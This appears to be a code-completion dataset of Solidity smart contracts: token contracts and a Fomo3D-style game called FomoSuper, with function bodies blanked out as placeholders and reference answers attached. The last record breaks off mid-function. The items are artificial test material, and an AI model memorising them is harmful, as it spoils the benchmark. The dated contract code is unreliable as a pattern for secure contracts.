tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } <FILL_FUNCTION> /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } function setPriceMoreThanOneETH(bool priceMoreThanOneETH) onlyOwner public { _priceMoreThanOneETH = priceMoreThanOneETH; } function setBidding(bool newBidding) onlyOwner public { _biding = newBidding; } /// @notice Buy tokens from contract by sending ether function buy() payable public { require(_biding); uint amount; if (_priceMoreThanOneETH) { amount = msg.value / buyPrice; // calculates the amount } else { amount = msg.value * buyPrice; // calculates the amount } _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(_biding); if (_priceMoreThanOneETH) { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // calculates the amount } else { amount = amount * 10 ** uint256(decimals); require(this.balance >= amount / sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * 10 ** uint256(decimals) / sellPrice); // calculates the amount } } }
frozenAccount[target] = freeze; FrozenFunds(target, freeze);
function freezeAccount(address target, bool freeze) onlyOwner public
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public
71601
AsterionWorldToken
approveAndCall
contract AsterionWorldToken is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE:*************************A s t e r i o n W o r l d T o k e n***************************** ********Asterion World Token**************Asterion World Token***** ********Asterion World Token**************Asterion World Token*************Asterion World Token**************n e t k r o n e***** ********Asterion World Tokene**************Asterion World Token*************Asterion World Token**************n e t k r o n e***** */ string public name; // Token uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: .. string public version = 'H1.0'; uint256 public AsterionWorldToken ; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address fundsWallet; // Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function AsterionWorldToken() { balances[msg.sender] = 130000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS) totalSupply = 130000000; // Update total supply (1000 for example) (CHANGE THIS) name = "AsterionWorldToken"; // Set the name for display purposes (CHANGE THIS) decimals = 0; // Amount of decimals for display purposes (CHANGE THIS) symbol = "ATR"; // Set the symbol for display purposes (CHANGE THIS) // Set the price of your token for the ICO (CHANGE THIS) fundsWallet = msg.sender; // The owner of the contract gets ETH } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {<FILL_FUNCTION_BODY> } }
contract AsterionWorldToken is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE:*************************A s t e r i o n W o r l d T o k e n***************************** ********Asterion World Token**************Asterion World Token***** ********Asterion World Token**************Asterion World Token*************Asterion World Token**************n e t k r o n e***** ********Asterion World Tokene**************Asterion World Token*************Asterion World Token**************n e t k r o n e***** */ string public name; // Token uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: .. string public version = 'H1.0'; uint256 public AsterionWorldToken ; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address fundsWallet; // Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function AsterionWorldToken() { balances[msg.sender] = 130000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS) totalSupply = 130000000; // Update total supply (1000 for example) (CHANGE THIS) name = "AsterionWorldToken"; // Set the name for display purposes (CHANGE THIS) decimals = 0; // Amount of decimals for display purposes (CHANGE THIS) symbol = "ATR"; // Set the symbol for display purposes (CHANGE THIS) // Set the price of your token for the ICO (CHANGE THIS) fundsWallet = msg.sender; // The owner of the contract gets ETH } <FILL_FUNCTION> }
allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true;
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success)
/* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success)
83798
FomoSuper
managePlayer
contract FomoSuper is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xB2b3d6feAE1AB2af4a07Cf4C047D69aa01D809Aa); //============================================================================== // _ _ _ |`. _ _ _ |_ | _ _ . // (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings) //=================_|=========================================================== address private admin = msg.sender; string constant public name = "FomoSuper"; string constant public symbol = "FomoSuper"; uint256 private rndExtra_ = 0; // length of the very first ICO uint256 private rndGap_ = 2 minutes; // length of ICO phase, set to 1 year for EOS. uint256 constant private rndInit_ = 12 hours; // round timer starts at this uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer uint256 constant private rndMax_ = 24 hours; // max length a round timer can be //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes) //=============================|================================================ uint256 public airDropPot_; // person who gets the airdrop wins part of this pot uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop uint256 public rID_; // round id number / total rounds that have happened //**************** // PLAYER DATA //**************** mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own) //**************** // ROUND DATA //**************** mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id //**************** // TEAM FEE DATA //**************** mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public { // Team allocation structures // 0 = whales // 1 = bears // 2 = sneks // 3 = bulls // Team allocation percentages // (F3D, P3D) + (Pot , Referrals, Community) // Referrals / Community rewards are mathematically designed to come from the winner's share of the pot. fees_[0] = F3Ddatasets.TeamFee(22,6); //50% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[1] = F3Ddatasets.TeamFee(30,8); //43% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[2] = F3Ddatasets.TeamFee(52,10); //20% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[3] = F3Ddatasets.TeamFee(68,8); //35% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot // how to split up the final pot based on which team was picked // (F3D, P3D) potSplit_[0] = F3Ddatasets.PotSplit(15,10); //48% to winner, 25% to next round, 2% to com potSplit_[1] = F3Ddatasets.PotSplit(25,0); //48% to winner, 25% to next round, 2% to com potSplit_[2] = F3Ddatasets.PotSplit(20,20); //48% to winner, 10% to next round, 2% to com potSplit_[3] = F3Ddatasets.PotSplit(30,10); //48% to winner, 10% to next round, 2% to com activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev used to make sure no one can interact with contract until it has * been activated. */ modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev emergency buy uses last stored affiliate ID and team snek */ function() isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // buy core buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } /** * @dev converts all incoming ethereum to keys. * -functionhash- 0x8f38f309 (using ID for affiliate) * -functionhash- 0x98a0871d (using address for affiliate) * -functionhash- 0xa65b37a1 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? */ function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } /** * @dev essentially the same as buy, but instead of you sending ether * from your wallet, it uses your unwithdrawn earnings. * -functionhash- 0x349cdcac (using ID for affiliate) * -functionhash- 0x82bfc739 (using address for affiliate) * -functionhash- 0x079ce327 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? * @param _eth amount of earnings to use (remainder returned to gen vault) */ function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } /** * @dev withdraws all of your earnings. * -functionhash- 0x3ccfd60b */ function withdraw() isActivated() isHuman() public { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // setup temp var for player eth uint256 _eth; // check to see if round has ended and no one has run round end yet if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // end the round (distributes pot) round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire withdraw and distribute event emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); // in any other situation } else { // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // fire withdraw event emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } /** * @dev use these to register names. they are just wrappers that will send the * registration requests to the PlayerBook contract. So registering here is the * same as registering there. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who referred you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= /** * @dev return the price buyer will pay for next 1 individual key. * -functionhash- 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else // rounds over. need price for new round return ( 75000000000000 ); // init } /** * @dev returns time left. dont spam this, you'll ddos yourself from your node * provider * -functionhash- 0xc7e284b8 * @return time left in seconds */ function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } /** * @dev returns player earnings per vaults * -functionhash- 0x63066434 * @return winnings vault * @return general vault * @return affiliate vault */ function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { // setup local rID uint256 _rID = rID_; // if round has ended. but round end has not been run (so contract has not distributed winnings) if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // if player is winner if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); // if player is not the winner } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } // if round is still going on, or round has ended and round end has been ran } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } /** * solidity hates stack limits. this lets us avoid that hate */ function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } /** * @dev returns all current round info needed for front end * -functionhash- 0x747dff42 * @return eth invested during ICO phase * @return round id * @return total keys for round * @return time round ends * @return time round started * @return current pot * @return current team ID & player ID in lead * @return current player in leads address * @return current player in leads name * @return whales eth in for round * @return bears eth in for round * @return sneks eth in for round * @return bulls eth in for round * @return airdrop tracker # & airdrop pot */ function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; return ( round_[_rID].ico, //0 _rID, //1 round_[_rID].keys, //2 round_[_rID].end, //3 round_[_rID].strt, //4 round_[_rID].pot, //5 (round_[_rID].team + (round_[_rID].plyr * 10)), //6 plyr_[round_[_rID].plyr].addr, //7 plyr_[round_[_rID].plyr].name, //8 rndTmEth_[_rID][0], //9 rndTmEth_[_rID][1], //10 rndTmEth_[_rID][2], //11 rndTmEth_[_rID][3], //12 airDropTracker_ + (airDropPot_ * 1000) //13 ); } /** * @dev returns player info based on address. if no address is given, it will * use msg.sender * -functionhash- 0xee0b5d8b * @param _addr address of the player you want to lookup * @return player ID * @return player name * @return keys owned (current round) * @return winnings vault * @return general vault * @return affiliate vault * @return player round eth */ function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, //0 plyr_[_pID].name, //1 plyrRnds_[_pID][_rID].keys, //2 plyr_[_pID].win, //3 (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth //6 ); } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine) //=====================_|======================================================= /** * @dev logic runs whenever a buy order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // call core core(_rID, _pID, msg.value, _affID, _team, _eventData_); // if round is not active } else { // check to see if end round needs to be ran if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } /** * @dev logic runs whenever a reload order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // get earnings from all vaults and return unused to gen vault // because we use a custom safemath library. this will throw if player // tried to spend more eth than they have. plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); // call core core(_rID, _pID, _eth, _affID, _team, _eventData_); // if round is not active and end round needs to be ran } else if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } /** * @dev this is the core logic for any buy/reload that happens while a round * is live. */ function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // if player is new to round if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); // early round eth limiter if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } // if eth left is greater than min eth allowed (sorry no pocket lint) if (_eth > 1000000000) { // mint the new keys uint256 _keys = (round_[_rID].eth).keysRec(_eth); // if they bought at least 1 whole key if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); // set new leaders if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; // set the new leader bool to true _eventData_.compressedData = _eventData_.compressedData + 100; } // manage airdrops if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { // gib muni uint256 _prize; if (_eth >= 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 2 prize was won _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } // set airdrop happened bool to true _eventData_.compressedData += 10000000000000000000000000000000; // let event know how much was won _eventData_.compressedData += _prize * 1000000000000000000000000000000000; // reset air drop tracker airDropTracker_ = 0; } } // store the air drop tracker number (number of buys since last airdrop) _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); // update player plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); // distribute eth _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); // call end tx function to fire end tx event. endTx(_pID, _team, _eth, _keys, _eventData_); } } //============================================================================== // _ _ | _ | _ _|_ _ _ _ . // (_(_||(_|_||(_| | (_)| _\ . //============================================================================== /** * @dev calculates unmasked earnings (just calculates, does not update mask) * @return earnings in wei format */ function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } /** * @dev returns the amount of keys you would get given an amount of eth. * -functionhash- 0xce89c80c * @param _rID round ID you want price for * @param _eth amount of eth sent in * @return keys received */ function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else // rounds over. need keys for new round return ( (_eth).keys() ); } /** * @dev returns current eth price for X keys. * -functionhash- 0xcf808000 * @param _keys number of keys desired (in 18 decimal format) * @return amount of eth needed to send */ function iWantXKeys(uint256 _keys) public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else // rounds over. need price for new round return ( (_keys).eth() ); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== /** * @dev receives name/player info from names contract */ function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if 